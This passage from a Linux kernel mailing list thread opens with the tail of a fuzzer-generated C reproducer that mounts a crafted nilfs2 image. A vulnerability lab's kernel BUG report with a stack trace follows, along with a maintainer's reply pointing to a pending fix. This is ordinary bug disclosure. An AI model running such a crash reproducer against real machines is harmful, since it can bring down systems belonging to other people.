"\x89\xa5\x12\xf2\x8e\xde\xc0\x86\xb1\xc0\x82\x3c\x02\x88\x40\xee\xaf"
"\x3f\x5d\x87\x69\x02\x3c\x01\x21\x86\x14\xf4\xfa\x40\xbe\x98\x92\xe7"
"\xa2\x85\xac\x63\xf7\xf9\x7a\xaa\x5b\x8e\xcc\x86\xe2\x8c\x61\x93\xbc"
"\x21\xa2\xb8\x33\x07\x00\x00\x00\xc4\xcf\xa0\x63\x3d\x7a\xc3\x73\xab"
"\x04\xb6\x2b\x41\x11\xb5\x9e\xab\xd4\x36\xdd\x97\xe7\x88\xa3\x6e\xf2"
"\x5b\xad\x99\xbe\x2a\xa9\x24\x94\x95\x58\xc8\xc7\x04\xa7\x2a\x61\x43"
"\x8a\x7e\x52\x46\x74\x94\xff\x1b\x53\xd1\x5f\xd8\x81\x76\xef\xc3\xf8"
"\x0b\x30\x22\x8d\x11\x4f\x46\xcb\x17\x71\xbe\xae\xbd\x5f\x25\xa9\xe9"
"\xe8\xb7\x5c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7e\xf3\x35\xd4"
"\x3a",
392));
NONFAILING(sprintf((char*)0x20000573, "0x%016llx", (long long)-1));
NONFAILING(*(uint8_t*)0x20000585 = -1);
NONFAILING(*(uint64_t*)0x20000586 = -1);
NONFAILING(*(uint32_t*)0x2000058e = -1);
NONFAILING(*(uint32_t*)0x20000592 = -1);
NONFAILING(sprintf((char*)0x20000596, "%020llu", (long long)-1));
NONFAILING(syz_mount_image(
/*fs=*/0x20000180, /*dir=*/0x20000100,
/*flags=MS_I_VERSION|MS_PRIVATE|MS_SYNCHRONOUS|MS_SILENT|MS_REMOUNT|MS_RELATIME|0x240c*/
0xa4a43c, /*opts=*/0x200003c0, /*chdir=*/1, /*size=*/0,
/*img=*/0x20000000));
break;
}
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
setup_sysctl();
setup_cgroups();
setup_binfmt_misc();
setup_usb();
setup_802154();
setup_swap();
install_segv_handler();
for (procid = 0; procid < 4; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
^ permalink raw reply [flat|nested] 2+ messages in thread
* Re: kernel BUG in __folio_start_writeback
2024-06-06 10:01 kernel BUG in __folio_start_writeback Ubisectech Sirius
@ 2024-06-06 10:45 ` Ryusuke Konishi
0 siblings, 0 replies; 2+ messages in thread
From: Ryusuke Konishi @ 2024-06-06 10:45 UTC (permalink / raw)
To: Ubisectech Sirius; +Cc: linux-kernel, willy
On Thu, Jun 6, 2024 at 7:01 PM Ubisectech Sirius wrote:
>
> Hello.
> We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.8. Attached to the email were a PoC file of the issue.
>
> Stack dump:
> __vm_munmap+0x13d/0x390 mm/mmap.c:2990
> __do_sys_munmap mm/mmap.c:3007 [inline]
> __se_sys_munmap mm/mmap.c:3004 [inline]
> __x64_sys_munmap+0x62/0x90 mm/mmap.c:3004
> do_syscall_x64 arch/x86/entry/common.c:52 [inline]
> do_syscall_64+0xd5/0x270 arch/x86/entry/common.c:83
> entry_SYSCALL_64_after_hwframe+0x6f/0x77
> ------------[ cut here ]------------
> kernel BUG at mm/page-writeback.c:2991!
> invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
> CPU: 1 PID: 12198 Comm: segctord Not tainted 6.8.0 #1
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
> RIP: 0010:__folio_start_writeback+0x6f3/0xad0 mm/page-writeback.c:2991
> Code: e8 a2 28 ce ff 48 89 ef e8 aa ed 1d 00 49 89 c7 e9 67 fd ff ff e8 8d 28 ce ff 48 c7 c6 e0 91 d7 8a 48 89 ef e8 7e 7c 0d 00 90 <0f> 0b e8 76 28 ce ff e8 c1 eb d9 08 e9 4b fb ff ff e8 67 28 ce ff
> RSP: 0018:ffffc900020ffa00 EFLAGS: 00010293
> RAX: 0000000000000000 RBX: ffff88804246c1f8 RCX: ffffc900020ff860
> RDX: ffff888018964980 RSI: ffffffff81bc8432 RDI: 0000000000000000
> RBP: ffffea00018b57c0 R08: 0000000000000001 R09: fffffbfff1eb0742
> R10: ffffffff8f583a17 R11: 0000000000000001 R12: 1ffff9200041ff45
> R13: 0000000000000000 R14: 0000000000000001 R15: ffffea00018b57c0
> FS: 0000000000000000(0000) GS:ffff88807ec00000(0000) knlGS:0000000000000000
> CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> CR2: 00007f9cb42f0088 CR3: 00000000454c0000 CR4: 0000000000750ef0
> DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
> DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
> PKRU: 55555554
> Call Trace:
> <TASK>
> nilfs_segctor_prepare_write fs/nilfs2/segment.c:1697 [inline]
> nilfs_segctor_do_construct+0x1c10/0x78a0 fs/nilfs2/segment.c:2113
> nilfs_segctor_construct+0x8c7/0xb10 fs/nilfs2/segment.c:2418
> nilfs_segctor_thread_construct fs/nilfs2/segment.c:2526 [inline]
> nilfs_segctor_thread+0x3cc/0xf30 fs/nilfs2/segment.c:2610
> kthread+0x2cc/0x3b0 kernel/kthread.c:388
> ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147
> ret_from_fork_asm+0x1b/0x30 arch/x86/entry/entry_64.S:243
> </TASK>
...
>
> Thank you for taking the time to read this email and we look forward to working with you further.
I believe this issue will be fixed by the following bug fix, which is
currently in the mm tree and will be merged into the mainline soon:
https://lkml.kernel.org/r/20240530141556.4411-1-konishi.ryusuke@gmail.com
After the merge, it will also be sent to the stable trees.
Please wait a little while until then.
Thanks,
Ryusuke Konishi
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2024-06-06 10:45 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
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2024-06-06 10:01 kernel BUG in __folio_start_writeback Ubisectech Sirius
2024-06-06 10:45 ` Ryusuke Konishi
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